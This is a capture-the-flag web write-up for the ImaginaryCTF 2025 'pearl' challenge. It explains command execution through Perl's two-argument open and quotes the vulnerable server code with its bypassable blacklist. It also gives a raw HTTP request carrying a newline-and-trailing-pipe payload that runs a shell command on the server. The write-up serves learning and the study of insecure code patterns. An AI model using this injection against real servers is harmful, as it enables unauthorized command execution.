Featured image of post Perl two-argument open command execution - ImaginaryCTF 2025

Perl two-argument open command execution - ImaginaryCTF 2025

Abusing Perl's two-argument open for command execution via a trailing pipe and newline injection. ImaginaryCTF 2025 web write-up.

Challenge source

Introduction

pearl is about Perl’s two-argument open on unsanitized input. That form silently enables pipe opens (i.e. command execution) when the filename ends in |. The server URL-decodes the path too, so we can smuggle in a newline and arguments. Its blacklist catches a lot but misses the single trailing pipe, which is enough to run cat /flag*.

Pearl Homepage

Context Explanation

  • A custom Perl HTTP server on HTTP::Daemon, serving files from ./files (see server.pl).
  • The request path, after URL-decoding, builds a filesystem path that’s handed to two-arg open.
  • The “sanitization” is a blacklist regex blocking .., some shell metacharacters, and |.*|, but not a lone trailing | and not newlines.
  • The flag file is renamed at container start (flag.txt -> /flag-<md5>.txt), so /flag* matches reliably.
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt

Directive

  1. Build a path that, once URL-decoded, carries a newline and a shell command ending in a trailing |.
  2. Send it so two-arg open reads it as a pipe open and runs the command.
  3. Glob /flag* to hit the randomized flag filename.

Solution

1) Server behavior & vulnerable code

Relevant pieces from server.pl:

my $webroot = "./files";
...
while (my $r = $c->get_request) {
  if ($r->method eq 'GET') {
    my $path = CGI::unescape($r->uri->path);   # URL-decodes (%0A => newline)
    $path =~ s|^/||;
    $path ||= 'index.html';

    my $fullpath = File::Spec->catfile($webroot, $path);

    # Partial blacklist — note it only bans a pipe WHEN followed by ... another pipe
    if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) {
      $c->send_error(RC_BAD_REQUEST, "Invalid path");
      next;
    }
    ...
    # Serve file
    open(my $fh, $fullpath) or do {            # <-- two-arg open on untrusted string
      $c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file.");
      next;
    };
    binmode $fh;
    my $content = do { local $/; <$fh> };
    close $fh;
    ...

Three things line up here:

  • CGI::unescape turns %0A into a real newline inside $path.
  • The regex only matches \|.*\| (pipe, something, pipe), so a single trailing | slips past.
  • Two-arg open on a string ending in | becomes a pipe read from the command before it. So if $fullpath ends up as "./files/x\ncat /flag*|", Perl runs cat /flag* and pipes the output into $fh.

Also from the Dockerfile:

COPY flag.txt /
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt

Which is why /flag* is a safe glob target.


2) PoC request — newline + trailing pipe

The PoC (pearl/poc/pearl.txt) sends a raw HTTP request:

GET /x%0Acat%20/flag*%7C HTTP/1.1
Host: pearl.chal.imaginaryctf.org
Connection: keep-alive

URL-decoded path becomes:

/x
cat /flag*|
  • Line 1 is a throwaway filename under ./files/ (it needn’t exist).
  • Line 2 is the command we want open to run, ending in |.
  • open reads $fullpath as a pipe, runs cat /flag*, and the flag comes back.

Flag


3) Why it works

The whole thing hangs on two-arg open over an untrusted scalar, where a trailing | means “run this as a command”. The blacklist never covers that single-pipe case and never strips newlines, so a newline lets us tack a separate command onto a filename. CGI::unescape turns %0A into the real newline that makes it parse, and /flag* sidesteps the randomized filename.


Tips & Tricks

  1. Perl open gotcha: open($fh, $user_input) should set off alarms. A trailing | reads from a command, a leading | writes to one, both are handy primitives.
  2. Weak blacklists: \|.*\| only catches paired pipes. A newline (%0A) plus a single pipe slips straight through.
  3. Randomized filenames: when the flag is renamed with a hash, glob it (/flag*) instead of guessing.